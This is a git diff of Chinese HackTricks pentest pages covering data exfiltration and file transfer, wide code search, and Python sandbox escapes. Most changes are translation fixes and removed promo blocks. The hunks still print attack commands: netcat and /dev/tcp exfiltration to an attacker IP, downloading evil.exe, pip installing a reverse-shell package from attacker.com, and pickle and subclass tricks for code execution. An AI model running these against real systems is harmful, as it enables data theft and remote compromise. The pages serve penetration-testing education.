* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard 安全团队**
|
||||
## 常见的白名单域名以提取信息
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
查看 [https://lots-project.com/](https://lots-project.com/) 以查找可以被滥用的常见白名单域名
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 常见被允许的域名用于泄露信息
|
||||
|
||||
查看 [https://lots-project.com/](https://lots-project.com/) 以找到常见被允许的域名,可以被滥用
|
||||
|
||||
## 复制并粘贴 Base64
|
||||
## 复制\&粘贴 Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
|||
### 上传文件
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* [**SimpleHttpServer 打印 GET 和 POST(以及头部)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
* Python 模块 [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
|
@ -123,7 +115,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
```
|
||||
## FTP
|
||||
|
||||
### FTP服务器(Python)
|
||||
### FTP 服务器 (python)
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
|
@ -133,7 +125,7 @@ python3 -m pyftpdlib -p 21
|
|||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### FTP服务器 (pure-ftp)
|
||||
### FTP 服务器 (pure-ftp)
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt
|
|||
```
|
||||
## SMB
|
||||
|
||||
Kali作为服务器
|
||||
Kali 作为服务器
|
||||
```bash
|
||||
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
|
||||
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
或者使用samba创建一个smb共享:
|
||||
或创建一个 smb 共享 **使用 samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -187,22 +179,6 @@ guest ok = Yes
|
|||
service smbd restart
|
||||
```
|
||||
Windows
|
||||
|
||||
---
|
||||
|
||||
### Exfiltration
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
|
||||
|
||||
- **Email**: Sending data as email attachments to an external email address.
|
||||
- **FTP**: Transferring data using the File Transfer Protocol to an external server.
|
||||
- **DNS**: Sending data by encoding it within DNS requests to a controlled server.
|
||||
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server.
|
||||
- **Steganography**: Hiding data within other files or images to avoid detection.
|
||||
- **Cloud Storage**: Uploading data to cloud storage services such as Dropbox or Google Drive.
|
||||
- **Physical Media**: Copying data to removable storage devices like USB drives or external hard drives.
|
||||
|
||||
Exfiltration can be a critical phase of an attack as it allows threat actors to steal valuable information from a target organization. Detection and prevention of exfiltration attempts are essential for maintaining the security of a system.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -212,19 +188,19 @@ WindPS-2> cd new_disk:
|
|||
```
|
||||
## SCP
|
||||
|
||||
攻击者必须运行SSHd。
|
||||
攻击者必须运行 SSHd。
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
如果受害者有SSH,攻击者可以将受害者的目录挂载到攻击者的计算机上。
|
||||
如果受害者有SSH,攻击者可以将受害者的目录挂载到攻击者。
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## 网络通道
|
||||
## NC
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -236,7 +212,7 @@ nc -vn <IP> 4444 < exfil_file
|
|||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### 上传文件至受害者
|
||||
### 上传文件到受害者
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -265,13 +241,13 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
如果您可以将数据发送到一个SMTP服务器,您可以使用Python创建一个SMTP来接收数据:
|
||||
如果您可以将数据发送到SMTP服务器,则可以使用python创建一个SMTP来接收数据:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
在XP和2003中默认情况下(在其他系统中需要在安装过程中显式添加)
|
||||
在XP和2003中默认启用(在其他版本中需要在安装时显式添加)
|
||||
|
||||
在Kali中,**启动TFTP服务器**:
|
||||
```bash
|
||||
|
@ -280,36 +256,22 @@ mkdir /tftp
|
|||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Python中的TFTP服务器:**
|
||||
**在Python中的TFTP服务器:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
在**受害者**中,连接到Kali服务器:
|
||||
在**victim**中,连接到Kali服务器:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
使用 PHP 一行代码下载文件:
|
||||
使用 PHP 单行代码下载文件:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### VBScript Exfiltration Techniques
|
||||
|
||||
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript:
|
||||
|
||||
1. **Writing to Files**: VBScript can write data to files on the system, which can then be exfiltrated using various methods.
|
||||
|
||||
2. **Sending HTTP Requests**: VBScript can send HTTP requests to an external server controlled by the attacker, allowing data to be exfiltrated over the network.
|
||||
|
||||
3. **Using Email**: VBScript can be used to send emails with attached data to an external email address controlled by the attacker.
|
||||
|
||||
4. **Executing Commands**: VBScript can execute commands on the compromised system to exfiltrate data through the command line.
|
||||
|
||||
5. **Encoding Data**: VBScript can encode exfiltrated data to bypass detection mechanisms and make it harder to detect the exfiltration.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -347,33 +309,31 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供一个二进制文件的十六进制表示,`debug.exe`可以生成该二进制文件。然而,重要的是要注意`debug.exe`有一个**组装文件大小限制为64 kb**。
|
||||
`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制,`debug.exe`可以生成二进制文件。然而,重要的是要注意,debug.exe有**组装文件大小限制为64 kb**。
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
然后将文本复制粘贴到 windows-shell 中,将创建一个名为 nc.exe 的文件。
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# 广泛源代码搜索
|
||||
# Wide Source Code Search
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
本页的目标是列举 **允许在一个或多个平台上搜索代码**(字面或正则表达式)的平台,涵盖成千上万/百万个仓库。
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
这在多个场合有助于 **搜索泄露的信息** 或 **漏洞** 模式。
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
本页面的目标是列举**允许在数千/数百万个仓库中搜索代码**(文字或正则表达式)的平台。
|
||||
|
||||
这有助于在多种情况下搜索**泄漏信息**或**漏洞**模式。
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): 在数百万个仓库中搜索。有免费版本和企业版本(15天免费)。支持正则表达式。
|
||||
* [**Github Search**](https://github.com/search): 在 Github 中搜索。支持正则表达式。
|
||||
* 也许还有必要检查 [**Github Code Search**](https://cs.github.com/)。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): 在 Gitlab 项目中搜索。支持正则表达式。
|
||||
* [**SearchCode**](https://searchcode.com/): 在数百万个项目中搜索代码。
|
||||
* [**SourceGraph**](https://sourcegraph.com/search):在数百万个仓库中搜索。提供免费版和企业版(15天免费)。支持正则表达式。
|
||||
* [**Github Search**](https://github.com/search):在 Github 上搜索。支持正则表达式。
|
||||
* 也许检查 [**Github Code Search**](https://cs.github.com/) 也有用。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html):在 Gitlab 项目中搜索。支持正则表达式。
|
||||
* [**SearchCode**](https://searchcode.com/):在数百万个项目中搜索代码。
|
||||
|
||||
{% hint style="warning" %}
|
||||
当您在仓库中寻找泄漏并运行类似 `git log -p` 的命令时,不要忘记可能存在**包含机密信息的其他分支和其他提交**!
|
||||
当你在一个仓库中寻找泄露信息并运行类似 `git log -p` 的命令时,不要忘记可能还有 **其他分支和其他提交** 包含秘密!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。
|
||||
|
||||
## 命令执行库
|
||||
|
||||
你需要知道的第一件事是,你是否可以直接使用某个已导入的库执行代码,或者你是否可以导入这些库中的任何一个:
|
||||
你需要知道的第一件事是,你是否可以直接使用某个已导入的库执行代码,或者你是否可以导入以下任何库:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -76,7 +68,7 @@ Python 尝试 **首先从当前目录加载库**(以下命令将打印 python
|
|||
|
||||
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
||||
例如,以下 pickle,在加载时,将导入 pip 库以使用它:
|
||||
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -89,26 +81,26 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
有关pickle如何工作的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip 包
|
||||
### Pip包
|
||||
|
||||
技巧由 **@isHaacK** 分享
|
||||
由**@isHaacK**分享的技巧
|
||||
|
||||
如果您可以访问 `pip` 或 `pip.main()`,您可以安装任意包并通过以下方式获得反向 shell:
|
||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**:
|
||||
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并将您的 IP 放入反向 shell 中**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
|
||||
这个包叫做 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
|
||||
{% endhint %}
|
||||
|
||||
## 评估 python 代码
|
||||
## Eval-ing python code
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
|
||||
|
@ -338,7 +330,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### No Builtins
|
||||
|
||||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也在内部导入了危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
|
||||
在以下示例中,你可以观察到如何 **滥用** 一些被加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||||
|
||||
|
@ -428,11 +420,11 @@ class_obj.__init__.__globals__
|
|||
|
||||
## 发现任意执行
|
||||
|
||||
在这里,我想解释如何轻松发现 **更危险的功能** 并提出更可靠的利用方法。
|
||||
在这里,我想解释如何轻松发现 **更危险的功能** 并提出更可靠的利用方式。
|
||||
|
||||
#### 通过绕过访问子类
|
||||
|
||||
此技术的一个最敏感部分是能够 **访问基类子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||||
此技术最敏感的部分之一是能够 **访问基类子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -471,7 +463,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
我们可以对**其他库**做同样的事情,这些库我们知道可以用来**执行命令**:
|
||||
我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -686,10 +678,10 @@ main()
|
|||
|
||||
## Python 格式字符串
|
||||
|
||||
如果您**发送**一个将要被**格式化**的**字符串**给python,您可以使用`{}`来访问**python内部信息。**您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
如果您**发送**一个**字符串**给 python,该字符串将被**格式化**,您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
|
||||
{% hint style="info" %}
|
||||
然而,有一个**限制**,您只能使用符号`.[]`,因此您**无法执行任意代码**,只能读取信息。\
|
||||
然而,有一个**限制**,您只能使用符号 `.[]`,因此您**无法执行任意代码**,只能读取信息。\
|
||||
_**如果您知道如何通过此漏洞执行代码,请与我联系。**_
|
||||
{% endhint %}
|
||||
```python
|
||||
|
@ -881,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意,如果您无法在 Python 沙箱中导入 `dis`,您可以获取函数的 **字节码** (`get_flag.func_code.co_code`) 并在本地 **反汇编**。您将看不到正在加载的变量的内容 (`LOAD_CONST`),但您可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 还告诉您正在加载的变量的偏移量。
|
||||
注意,**如果你无法在python沙箱中导入`dis`**,你可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到正在加载的变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## 编译 Python
|
||||
|
||||
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -952,7 +944,7 @@ types.CodeType.__doc__
|
|||
### 重建泄露的函数
|
||||
|
||||
{% hint style="warning" %}
|
||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实示例**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
在本文开头的前几个示例中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环等(我们也可以使用**`exec`**做到这一点)。\
|
||||
在本文开头的前几个示例中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环和所有内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
无论如何,有时在本地机器上**创建**一个**编译对象**并在**CTF 机器**上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||||
|
||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||
|
@ -1039,23 +1031,18 @@ print(f"\nNot a Super User!!!\n")
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
